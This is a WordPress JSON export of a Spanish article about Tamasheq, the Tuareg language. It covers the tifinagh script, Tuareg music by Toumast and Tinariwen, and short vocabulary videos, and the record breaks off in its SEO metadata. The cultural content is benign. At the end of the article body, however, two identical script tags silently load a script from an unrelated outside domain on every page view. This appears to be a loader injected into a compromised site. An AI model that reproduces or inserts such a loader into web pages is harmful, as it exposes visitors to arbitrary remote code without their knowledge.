{"id":52662,"date":"2011-07-10T20:13:13","date_gmt":"2011-07-10T18:13:13","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=52662"},"modified":"2025-10-21T22:30:47","modified_gmt":"2025-10-21T20:30:47","slug":"videos-en-lengua-tamasheq-sahel-africa-del-norte","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/","title":{"rendered":"V\u00eddeos en lengua tamasheq &#8211; SAHEL, \u00c1FRICA DEL NORTE"},"content":{"rendered":"<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-52664\" title=\"tamasheq\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamasheq2.jpg\" alt=\"tamasheq\" width=\"236\" height=\"156\" \/><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Presentaci\u00f3n de la lengua tamasheq<\/h5>\n<p style=\"text-align: justify;\">El <strong>tamasheq<\/strong> (o tamajeq o tamaheq, derivados de la palabra tamazight), es la lengua de los <strong>Tuaregs<\/strong>, un pueblo n\u00f3mada que encontramos en <strong>regiones des\u00e9rticas de \u00c1frica del Norte<\/strong> desde hace miles de a\u00f1os, en una zona vasta que va de <strong>Mal\u00ed <\/strong>a <strong>Libia <\/strong>y de <strong>Burkina Faso<\/strong> a <strong>Argelia <\/strong>pasando por <strong>N\u00edger<\/strong>. Se cuentan alrededor de <strong>1 mill\u00f3n de hablantes<\/strong> de tamasheq.<\/p>\n<p style=\"text-align: justify;\">As\u00ed como el cabilio, el chaoui o el rife\u00f1o, el tamasheq es de hecho <strong>una de las variantes del berebere (o tamazight)<\/strong>, un grupo de lenguas presentes en toda \u00c1frica del Norte (Marruecos, Argelia, T\u00fanez, Libia, Egipto, N\u00edger, Mauritania, Mal\u00ed y  Burkina-Faso), sin olvidar una importante di\u00e1spora en Europa y en Am\u00e9rica. En total, se estima que son m\u00e1s de 45 millones de hablantes de berebere.<\/p>\n<p style=\"text-align: justify;\">Una de las particularidades de la lengua berebere es su escritura. Un <strong>alfabeto, llamado tifinagh<\/strong>, existe desde el primer milenario antes de la era cristiana, y a pesar de su casi desaparici\u00f3n al norte d\u00f3nde ha sido suplantado por los alfabetos latinos y \u00e1rabes, jam\u00e1s dej\u00f3 de ser utilizado por los Tuaregs. En la segunda mitad del siglo XX, una versi\u00f3n moderna, primero lanzada por la Academia Berebere, luego modificada por ling\u00fcistas para hacer un est\u00e1ndar aplicable a todos los hablas, es en la actualidad ampliamente utilizada, al norte, y hasta oficializada en Marruecos a partir de 2001. Este alfabeto, que se designa bajo el nombre de neo tifinagh, aunque suscita el entusiasmo al norte, es, no obstante acogido con recelo por los Tuareg.<\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/t2bjNDcwqfc?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/t2bjNDcwqfc?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><br \/>\n<span style=\"text-decoration: underline;\">Imagen y sonido<\/span>: Arnaud Contreras<br \/>\n<span style=\"text-decoration: underline;\">Asesoramiento ling\u00fc\u00edstico<\/span>: Salem Mezhoud<br \/>\n<span style=\"text-decoration: underline;\">Montaje<\/span>: Caroline Laurent<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>Mil gracias a Abdelkrim Touhami. Mohamed Hamza. Moussa Ag Keyna y Laurent Le Nevez de Toumast. Abdallah Ag Alhousseyni de Tinariwen. Mokhtar y Mohamed Zounga, Nicolas Loizillon, Badia Journet y al equipo de Akar Akar. Mahmoud Bekkar de Syn Air.  Nadia Bellalimat. Jean-Marc Durou. Fred Miguel. Zaid. Farida Sellal, Samira Clady-Farid y al equipo del Festival del Imzad. Philippe Holvoet. Cornelis Van Voorthuizen. Beno\u00eet Auriol. Laurent de Verneuil. Gr\u00e9goire Cruse. Sidiali Youlansar (Saka\u00ef). Al equipo del Parque Nacional de Ahaggar. Los miembros de la associaci\u00f3n \u00abSauver l&#8217;Imzad\u00bb (\u00abSalvar el Imzad\u00bb) <\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<h5>Asuntos de identidad<\/h5>\n<p style=\"padding-top: 0px; padding-right: 5px; padding-bottom: 7px; padding-left: 10px; text-align: justify; margin: 0px;\">El\u00a0<strong>tamasheq<\/strong> es una lengua aun muy viva con\u00a0<strong>m\u00e1s de un mill\u00f3n de hablantes<\/strong>. Pero, \u00bfcu\u00e1l es el futuro de esta lengua del desierto en un contexto cada m\u00e1s urbana y mundializada?<\/p>\n<p style=\"padding-top: 0px; padding-right: 5px; padding-bottom: 7px; padding-left: 10px; text-align: justify; margin: 0px;\">\u00bfEn qu\u00e9 se convertir\u00e1 esta cultura espec\u00edfica desde que\u00a0<strong>los j\u00f3venes, de m\u00e1s y m\u00e1s, escogen el \u00e9xodo<\/strong>? \u00bfPor qu\u00e9 la lengua oral es insuficiente; habr\u00e1 que insistir sobre el\u00a0<strong>aprendizaje de la lectura<\/strong>? \u00bfQu\u00e9 perder\u00eda el mundo si pierde la lengua tamasheq\u2026?<\/p>\n<p style=\"text-align: justify;\">Todas estas preguntas que intentan responder <strong>Moussa Ag Keyna<\/strong> del grupo Toumast, <strong>Abdelkrim Touhami<\/strong> y <strong>Mohamed Hamza<\/strong>, poeta y profesor nos dado muchas ganas de partir al desierto para descubrir su pueblo\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/AmAsB6RLNk4?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/AmAsB6RLNk4?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><br \/>\n<span style=\"text-decoration: underline;\">Imagen y sonido<\/span>: Arnaud Contreras<br \/>\n<span style=\"text-decoration: underline;\">Montaje<\/span>: Caroline Laurent<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Canciones en tamasheq, por Moussa Ag Keyna<\/h5>\n<p style=\"text-align: justify;\">Los <strong>Tuaregs<\/strong> lucharon mucho por un mejor reconocimiento de sus derechos y de su cultura, de sus conflictos que terminaron oficialmente en Mal\u00ed en 1992 y en N\u00edger en 1995.<\/p>\n<p style=\"text-align: justify;\">En la continuidad de esos combates, se constituyeron varios grupos de <strong>m\u00fasica tuareg, o ishumar<\/strong>, de los cuales el primero fue Tinariwen. Estos grupos retoman l\u00edneas mel\u00f3dicas tradicionales y presentan letras a menudo m\u00e1s militantes que cuentan su modo de vida y hacen un llamado a la movilizaci\u00f3n de la juventud.<\/p>\n<p style=\"text-align: justify;\">Es en los a\u00f1os 90 cuando se crea el grupo <strong>Toumast<\/strong>, al rededor de <strong>Moussa Ag Keyna<\/strong>. \u00c9ste sale de varios a\u00f1os de lucha y de matorrales, y es evacuado hacia Francia, gravemente herido. Con Aminatou Goumar, graba un premier \u00e1lbum, luego un segundo, en el que evoca la vida n\u00f3mada, el amor, el exilio, la lucha de los tuaregs y las desilusiones.<\/p>\n<p style=\"text-align: justify;\">Les proponemos a todos ustedes algunas de estas canciones, cantadas en solo por Moussa Ag Keyna acompa\u00f1ado de su guitarra. La primera, intitulada <strong>\u00abEl halc\u00f3n<\/strong>\u00ab, cuenta la <strong>nostalgia de la vida del desierto<\/strong>, la segunda, \u00ab<strong>Esta chica<\/strong>\u00bb es una <strong>canci\u00f3n de amor<\/strong>, y la tercera, \u00ab<strong>\u00a1Hey, hermanos!<\/strong>\u00ab, es un <strong>canto de combate<\/strong> para que los tuareg no olviden la lucha por el <strong>reconocimiento de su identidad<\/strong>\u2026<\/p>\n<p style=\"text-align: justify;\">Para saber m\u00e1s sobre el grupo Toumast: <a href=\"http:\/\/www.toumast.net\/\" target=\"_blank\">Sitio oficial<\/a>, <a href=\"http:\/\/www.facebook.com\/pages\/Toumast\/183410405011881?v=wall\" target=\"_blank\">Facebook<\/a>, <a href=\"http:\/\/www.myspace.com\/toumast\" target=\"_blank\">Myspace<\/a>, <a href=\"http:\/\/realworldrecords.com\/artists\/toumast\" target=\"_blank\">Real World Records<\/a>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/realworldrecords.com\/videos\/ikalane-walegh-these-countries-that-are-not-mine\" target=\"_blank\">Para escuchar una canci\u00f3n del grupo<\/a><\/p>\n<p><a href=\"http:\/\/www.flickr.com\/search\/?w=all&amp;q=toumast&amp;m=text\" target=\"_blank\">Para ver algunas fotos<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p><strong>\u00abInnulamane (<\/strong><strong>El halc\u00f3n<\/strong><strong>)\u00bb<\/strong> <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/_dwRrWqun2A?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/_dwRrWqun2A?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>\u00abTallyatt idaght (Esta chica)\u00bb<\/strong><\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/5znekPzLPWs?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/5znekPzLPWs?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p style=\"text-align: justify;\">\n<p><strong><em>\u00ab<\/em>Kik Ayittma (\u00a1Hey, hermanos!)\u00bb<\/strong><\/p>\n<p style=\"text-align: justify;\"><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/fBOnMvmr8kk?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/fBOnMvmr8kk?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p><span style=\"text-decoration: underline;\">Im\u00e1genes<\/span><span style=\"text-decoration: underline;\"> y sonido<\/span> : Arnaud Contreras<br \/>\n<span style=\"text-decoration: underline;\">Traducci\u00f3n<\/span>: Moussa Ag Keyna<br \/>\n<span style=\"text-decoration: underline;\">Montaje<\/span> : Caroline Laurent<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<h5>Tinariwen: entrevista de Abdallah Ag Alhousseyni<\/h5>\n<p>Abdallah Ag Alhousseyni, del grupo <strong>Tinariwen<\/strong>, habla en tamasheq de su relaci\u00f3n con su lengua y del modo en que aprendi\u00f3 la escritura tifinagh.<\/p>\n<p><a href=\"https:\/\/www.sorosoro.org\/es\/tinariwen-entrevista-de-abdallah-ag-alhousseyni\">Para saber m\u00e1s<\/a><\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/Az8juzj2wus?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/Az8juzj2wus?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><br \/>\n<span style=\"text-decoration: underline;\">Imagen y sonido<\/span>: Arnaud Contreras<br \/>\n<span style=\"text-decoration: underline;\">Traducci\u00f3n<\/span>: Moussa Ag Keyna<br \/>\n<span style=\"text-decoration: underline;\">Montaje<\/span>: Caroline Laurent<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Palabritas de todos los d\u00edas<\/h5>\n<p style=\"text-align: justify;\">Les proponemos que aprendan algunas palabras b\u00e1sicas en la lengua tamasheq, dichas por\u00a0<strong>Moussa Ag Keyna<\/strong>, del grupo Toumast, y\u00a0<strong>Mohamed Hamza<\/strong>, poeta y profesor\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Las cifras<\/strong><\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/fsKqpKay2Sc?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/fsKqpKay2Sc?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p style=\"text-align: justify;\">\n<p><strong>Los colores<\/strong><\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/z_PS86D0aSQ?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/z_PS86D0aSQ?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p style=\"text-align: justify;\">\n<p><strong>Los d\u00edas de la semana<\/strong> <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/UH8ZXd0SLvo?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/UH8ZXd0SLvo?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p style=\"text-align: justify;\">\n<p><strong>Las partes del cuerpo<\/strong><br \/>\n<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/AJfkXjRzETc?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/AJfkXjRzETc?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p style=\"text-align: justify;\">\n<p><strong>Las expresiones de la vida cotidiana<\/strong><\/p>\n<p style=\"text-align: justify;\">Mohamed Hamza\u00a0nos ense\u00f1a las palabras y las expresiones corrientes de su lengua, tales como \u201ctengo hambre\u201d, \u201ctengo fr\u00edo\u201d o tambi\u00e9n \u2026 \u201cte amo\u201d. De otra parte concluye  hablando del gran pudor de las gentes de su pueblo que prefieren no expresar sus sentimientos pero\u2026 \u00a0actuar!!<\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/u1N8EZJfAtU?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/u1N8EZJfAtU?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p style=\"text-align: justify;\">\n<p><strong>Las palabras nuevas<\/strong><\/p>\n<p style=\"text-align: justify;\">En esta \u00ablecci\u00f3n\u00bb,\u00a0Mohamed Hamza\u00a0nos indica que en su lengua como en todas las lenguas que son confrontadas a los desaf\u00edos de la modernizaci\u00f3n, existen los neologismos que los j\u00f3venes inventan, y tambi\u00e9n la recuperaci\u00f3n de palabras corrientes que se podr\u00eda calificar de internacionales como en todas las lenguas son los mismos. Pero con el acento local, \u00a1por supuesto!<\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/pRkaQl6HbDA?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/pRkaQl6HbDA?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><br \/>\n<span style=\"text-decoration: underline;\">Imagen y sonido<\/span> : Arnaud Contreras<br \/>\n<span style=\"text-decoration: underline;\">Asesoramiento ling\u00fc\u00edstico<\/span> : Salem Mezhoud y Abdoulahi Attayoub<br \/>\n<span style=\"text-decoration: underline;\">Montaje<\/span> : Caroline Laurent<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<h5>Las palabras del desierto<\/h5>\n<p style=\"text-align: justify;\"><strong>Mohamed Hamza<\/strong> explica con mucha finura lo que significa la palabra \u00ab<strong>T\u00e9n\u00e9r\u00e9<\/strong>\u00bb en su lengua. Seguramente conocemos la palabra, ya que es el nombre del desierto de esta regi\u00f3n, pero para los tuareg, tiene tambi\u00e9n otro sentido, que le proponemos descubrir\u2026<\/p>\n<p style=\"padding-top: 0px; padding-right: 5px; padding-bottom: 7px; padding-left: 10px; text-align: justify; margin: 0px;\">En cuanto al t\u00e9rmino <strong>S\u00e1hara<\/strong>, veremos que no se trata en absoluto de una palabra berberisca, un pueblo omnipresente sin embargo en esta parte del continente \u2026<\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/GPrM4A0TzUQ?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/GPrM4A0TzUQ?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><br \/>\n<span style=\"text-decoration: underline;\">Imagen y sonido<\/span>: Arnaud Contreras<br \/>\n<span style=\"text-decoration: underline;\">Montaje<\/span>: Caroline Laurent<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Presentaci\u00f3n de la lengua tamasheq El tamasheq (o tamajeq o tamaheq, derivados de la palabra tamazight), es la lengua de los Tuaregs, un pueblo n\u00f3mada que encontramos en regiones des\u00e9rticas de \u00c1frica del Norte desde hace miles de a\u00f1os, en una zona vasta que va de Mal\u00ed a Libia y de Burkina Faso a Argelia [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36],"tags":[],"class_list":["post-52662","post","type-post","status-publish","format-standard","hentry","category-videos-de-idiomas"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>V\u00eddeos en lengua tamasheq - SAHEL, \u00c1FRICA DEL NORTE - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"V\u00eddeos en lengua tamasheq - SAHEL, \u00c1FRICA DEL NORTE - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Presentaci\u00f3n de la lengua tamasheq El tamasheq (o tamajeq o tamaheq, derivados de la palabra tamazight), es la lengua de los Tuaregs, un pueblo n\u00f3mada que encontramos en regiones des\u00e9rticas de \u00c1frica del Norte desde hace miles de a\u00f1os, en una zona vasta que va de Mal\u00ed a Libia y de Burkina Faso a Argelia [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-07-10T18:13:13+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:30:47+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamasheq2.jpg\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"V\u00eddeos en lengua tamasheq &#8211; SAHEL, \u00c1FRICA DEL NORTE\",\"datePublished\":\"2011-07-10T18:13:13+00:00\",\"dateModified\":\"2025-10-21T20:30:47+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/\"},\"wordCount\":1115,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamasheq2.jpg\",\"articleSection\":[\"V\u00eddeos de idiomas\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/\",\"name\":\"V\u00eddeos en lengua tamasheq - SAHEL, \u00c1FRICA DEL NORTE - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamasheq2.jpg\",\"datePublished\":\"2011-07-10T18:13:13+00:00\",\"dateModified\":\"2025-10-21T20:30:47+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#primaryimage\",\"url\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamasheq2.jpg\",\"contentUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamasheq2.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/